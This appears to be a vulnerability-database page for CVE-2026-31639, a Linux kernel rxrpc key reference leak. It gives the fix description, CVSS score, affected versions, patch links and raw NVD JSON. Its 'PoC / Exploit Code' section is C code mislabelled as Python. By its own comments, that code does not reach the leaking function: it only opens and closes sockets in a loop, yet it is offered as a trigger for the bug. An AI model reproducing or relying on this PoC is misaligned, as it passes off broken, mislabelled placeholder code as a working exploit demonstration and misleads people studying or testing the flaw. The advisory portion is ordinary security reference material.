CVE-2026-31639

Description

In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix key reference count leak from call->key When creating a client call in rxrpc_alloc_client_call(), the code obtains a reference to the key. This is never cleaned up and gets leaked when the call is destroyed. Fix this by freeing call->key in rxrpc_destroy_call(). Before the patch, it shows the key reference counter elevated: $ cat /proc/keys | grep afs@54321 1bffe9cd I--Q--i 8053480 4169w 3b010000 1000 1000 rxrpc afs@54321: ka $ After the patch, the invalidated key is removed when the code exits: $ cat /proc/keys | grep afs@54321 $

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.2:-:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31639: rxrpc Key Reference Leak
 * This code attempts to trigger the leak by creating rxrpc client calls.
 * Note: Actual triggering may require specific kernel configurations or AF_RXRPC socket operations.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>

// AF_RXRPC definition is usually in linux/rxrpc.h
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif

int main() {
    int sock, i;
    printf("[+] Starting PoC for CVE-2026-31639\n");
    
    // Loop to create sockets and simulate calls that trigger the allocation
    for (i = 0; i < 10000; i++) {
        sock = socket(AF_RXRPC, SOCK_DGRAM, AF_RXRPC);
        if (sock < 0) {
            perror("socket");
            continue;
        }
        
        // In a real exploit, specific sendmsg or ioctls would trigger
        // rxrpc_alloc_client_call which leaks the key.
        // This demonstrates the pattern of resource usage.
        
        close(sock);
    }
    
    printf("[+] Completed. Check /proc/keys for leaked afs keys.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31639
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31639
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31639/
[4] VulDB https://vuldb.com/cve/CVE-2026-31639
[5] https://git.kernel.org/stable/c/2e6ef713b1598f6acd7f302fa6b12b6731c89914
[6] https://git.kernel.org/stable/c/978108902ee4ef2b348ff7ec36ad014dc5bc6dc6
[7] https://git.kernel.org/stable/c/d666540d217e8d420544ebdfbadeedd623562733
[8] https://git.kernel.org/stable/c/e6b7943c5dc875647499da09bf4d50a8557ab0c3
[9] https://git.kernel.org/stable/c/f1a7a3ab0f35f83cf11bba906b9e948cf3788c28

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31639", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:43.240", "lastModified": "2026-04-27T20:20:27.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix key reference count leak from call->key\n\nWhen creating a client call in rxrpc_alloc_client_call(), the code obtains\na reference to the key. This is never cleaned up and gets leaked when the\ncall is destroyed.\n\nFix this by freeing call->key in rxrpc_destroy_call().\n\nBefore the patch, it shows the key reference counter elevated:\n\n$ cat /proc/keys | grep afs@54321\n1bffe9cd I--Q--i 8053480 4169w 3b010000 1000 1000 rxrpc afs@54321: ka\n$\n\nAfter the patch, the invalidated key is removed when the code exits:\n\n$ cat /proc/keys | grep afs@54321\n$"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.1", "versionEndExcluding": "6.6.135", "matchCriteriaId": "D6A8AD2A-FCEB-42B6-8B79-66822D8E7C37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.82", "matchCriteriaId": "02904CAE-71D2-45B3-9EC3-F6A9D18B6307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.23", "matchCriteriaId": "E9E09FDD-9EE3-4A56-92E2-2B30AFD0072F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.2:-:*:*:*:*:*:*", "matchCriteriaId": "3ADCCCEE-143A-4B48-9B2A-0CB97BD385DE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2e6ef713b1598f6acd7f302fa6b12b6731c89914", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/978108902ee4ef2b348ff7ec36ad014dc5bc6dc6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d666540d217e8d420544ebdfbadeedd623562733", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e6b7943c5dc875647499da09bf4d50a8557ab0c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f1a7a3ab0f35f83cf11bba906b9e948cf3788c28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}